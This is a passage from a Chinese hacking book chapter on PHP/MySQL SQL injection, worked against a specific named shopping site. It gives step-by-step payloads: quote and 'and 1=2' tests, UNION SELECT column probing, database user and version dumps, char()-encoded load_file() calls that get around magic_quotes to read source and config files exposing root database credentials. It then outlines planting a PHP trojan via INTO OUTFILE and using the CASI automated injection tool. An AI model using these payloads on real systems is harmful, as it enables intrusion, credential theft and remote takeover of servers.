- 網(wǎng)站入侵與腳本攻防修煉
- 肖遙編著
- 60字
- 2019-03-01 22:12:41
2.8 構造PHP注入攻擊
ASP注入攻擊很普及了,但是相對而言,PHP注入攻擊就沒有那么普及了。這一節(jié)中我們將對PHP+MySQL注入攻擊進行詳細的介紹。
2.8.1 手工PHP注入
我們以“顯卡團購”網(wǎng)站為例進行一次注入,找到注入點“http://go.dof.cn/eshop/php/Show.php? ID=6”,使用加單引號法在其后加上“' ”,返回信息為(圖136):
Fatal error: Call to undefined function: numrows() in d:\loca lhost\virtualhost\go_dof_cn\eshop\php\show.php on line 37
從返回的出錯信息中可以得知網(wǎng)站的物理路徑“d:\localhost\virtualhost\go_dof_cn\eshop\php\show.php”。
再提交“and 1=1”,返回頁面正常顯示;再提交“and 1=2”,返回錯誤信息:“該商品暫時缺貨.請原諒返回”(圖136)。說明存在注入漏洞。

圖136 返回信息
繼續(xù)提交:“http://go.dof.cn/eshop/php/Show.php? ID=6 and 1=2 union select 1”,返回與圖136相同的提示。
再提交“and 1=2 union select 1,2”,也是返回錯誤提示。
依次提交,當提交到“http://go.dof.cn/eshop/php/Show.php? ID=6 and 1=2 union select 1,2,3,4,5,6,7,8”時,出現(xiàn)了沒有錯誤提示的頁面(圖137)。

圖137 沒有錯誤提示的頁面
在頁面中出現(xiàn)了Select后面的數(shù)字“2,4,5,7,8”,這些位置就是表示數(shù)據(jù)庫中表字段出現(xiàn)的位置。從中可以推測
2,7,8為字符型數(shù)據(jù),4,5為數(shù)字型數(shù)據(jù)。于是提交
“union select 1, USER(),3, VERSION(), SESSION_USER(),6, DATABASE(), CURRENT_USER()”,
返回結果如圖138所示。

圖138 返回結果
其中USER( )、CURRENT_USER( )、SESSION_USER( )分別表示當前用戶名、連接數(shù)據(jù)庫的用戶;其中DATABASE( )表示當前數(shù)據(jù)庫,VERSION( )表示當前操作系統(tǒng)版本。從圖中可知當前操作系統(tǒng)為“Windows NT”,當前用戶為“root”,數(shù)據(jù)庫為“intershop”。
2.8.2 讀取PHP配置文件
提交語句“ and 1=2 union select 1,2,3,4,5,6,7, load_file(d:\localhost\virtualhost\go_dof_cn\eshop\php\show.php)”,其中l(wèi)oad_file( )函數(shù)是用來讀取顯示網(wǎng)站系統(tǒng)中某個文件的。
但是返回信息顯示出錯,這主要是因為服務器上的MYSQL數(shù)據(jù)庫在配置時,設置了“magic_quotes_gpc=On”,所以提交的變量中的“' ”、“"”、“\”和空格字符等都會被自動轉為含有反斜線的轉義字符。所以指定的文件路徑根本就不存在,從而返回了錯誤。
怎么才能正確返回讀取的文件呢?可以將文件路徑轉化為ASCII碼再進行提交。在這里“d:\localhost\virtualhost\go_dof_cn\eshop\php\show.php”轉為成ASCII碼后為:
char(100,58,92,108,111,99,97,108,104,111,115,116,92,118,105, 114,116,117,97,108,104,111,115,116,92,103,111,95,100,111,102, 95,99,110,92,101,115,104,111,112,92,112,104,112,92,115,104, 111,119,46,112,104,112)
所以提交如下語句:
and 1=2 union select 1,2,3,4,5,6,7, load_file(char(100,58,92, 108,111,99,97,108,104,111,115,116,92,118,105,114,116,117,97, 108,104,111,115,116,92,103,111,95,100,111,102,95,99,110,92, 101,115,104,111,112,92,112,104,112,92,115,104,111,119,46, 112,104,112))
返回信息如圖139所示,頁面中的字符串就是“show.php”文件內(nèi)容。從返回的“show.php”文件中可以看到如下內(nèi)容:
“require_once(' ./../../include/config.inc.php' ); //包含“配置 文件””;
從該處可以知道配置文件的物理路徑為“d:\localhost\virtualhost\include\go_dof_cn\config.inc.php”。同樣可將路徑轉換為ASCII碼后進行提交:
“and 1=2 union select 1,2,3,4,5,6,7, load_file(char(100,58,92, 108,111,99,97,108,104,111,115,116,92,118,105,114,116,117,97, 108,104,111,115,116,92,103,111,95,100,111,102,95,99,110,92, 105,110,99,108,117,100,101,92,99,111,110,102,105,103,46,105, 110,99,46,112,104,112))”;

圖139 返回信息
返回信息如圖140所示,這就是配置文件“config.inc.php”中的內(nèi)容。從配置文件中可以看到如下信息:

圖140 返回信息
“//數(shù)據(jù)庫信息 $dbhost="localhost" //數(shù)據(jù)庫主機名 $dbuser="root" //數(shù)據(jù)庫用戶名 $dbpasswd="******" //數(shù)據(jù)庫連接密碼*******”
從中就可以看到連接數(shù)據(jù)庫的用戶名和密碼了。如果服務器開放了遠程SQL連接的話,就可以用SQL連接器連接上數(shù)據(jù)庫,用得到的用戶名和密碼來登錄。然后就可以進一步地使用insert語句將一個PHP木馬代碼寫入表中,再用into outfile語句導出到Web目錄下,就可對服務器進行遠程控制了。具體的操作在此不做敘述,留待讀者自行進一步深入學習。
在剛才的例子中,我們需要將字符串轉換為ASCII碼,可以用到這個注入格式轉換器。運行程序后,在“字符”中輸入文件路徑,然后單擊【轉換】按鈕,在下方的“ACS”中得到轉換后的代碼,單擊【Copy】按鈕將其復制到剪切板上(見圖141)。

圖141 注入格式轉換器
2.8.3 CASI自動PHP注入
CASI是圖形化的PHP注入工具,可以自動地報出用戶字段名、密碼字段名及其插入的位置。運行程序后,在“注射url”中輸入注入點地址,在“判斷字符”中輸入“mysql_fetch_array”,單擊【字段掃描】按鈕即可開始進行掃描(圖142)。掃描完畢后,在下方的瀏覽框中會顯示注入點頁面;并在“瀏覽器”組的“暴代碼”中顯示配置文件的路徑,Load_file()的插入字段位置;在“暴密碼”中顯示用戶名和密碼字段,并顯示其字段插入位置。按照上面介紹的手工注入的方法,就可以得到配置文件和用戶名及密碼等各種信息了。
此外,在CASI中還自帶了一個SQL連接器,當?shù)玫絊QL連接用戶名和密碼后,就可以用這個工具來連接,非常方便。

圖142 CASI V 1.10正式版